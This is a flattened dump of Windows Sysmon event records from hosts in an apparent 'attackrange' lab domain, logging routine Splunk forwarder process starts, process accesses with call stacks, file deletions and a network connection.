15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017947Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017946Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017945Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74B3-613B-3605-00000000F101}3928C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017944Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017943Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017942Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017941Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.623{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B3-613B-3605-00000000F101}3928C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017940Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.624{625C326B-74B3-613B-3605-00000000F101}3928C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017939Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:31.018{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B376803030F5620656EA36A2824E05E7,SHA256=F472EB45852F971391A46F2ED8626EC607D1D3825A0C086E4FA38BE8E731C4E5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:29.301{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63164-false10.0.1.12-8089- 23542300x800000000000000056136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:32.142{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=A4A5124E59955A9897BD6B64A6852C86,SHA256=4F94EBCB582A3CBB4793CB8B481F02ADFD9924DDF2940C0B3D17E8EAD4D0405F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:32.042{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0A9EA8D3570BEF3DAD3624DA85A64C5D,SHA256=79E4322BDFB8334C796722BBD0126E5DA5A5437E0A71F85CC846127822885C7C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017982Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B4-613B-3805-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017981Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017980Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017979Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017978Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017977Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017976Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017975Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017974Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017973Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017972Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74B4-613B-3805-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017971Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.639{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B4-613B-3805-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017970Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.640{625C326B-74B4-613B-3805-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017969Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.623{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5E3FA1BF6AA3D7795B53684F65764264,SHA256=99768E126A1BF6C7ECE8078B16B6739ACBC24A3814C29A983ED04D6DF7E8C33A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017968Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.623{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D814638E37D4669DED86B665D2A5338F,SHA256=B93EE3DFA19EA54A2913E4781259C33733695C1D3F0999F76BC48EABB86C1483,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017967Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.451{625C326B-74B4-613B-3705-00000000F101}18882680C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017966Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B4-613B-3705-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017965Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 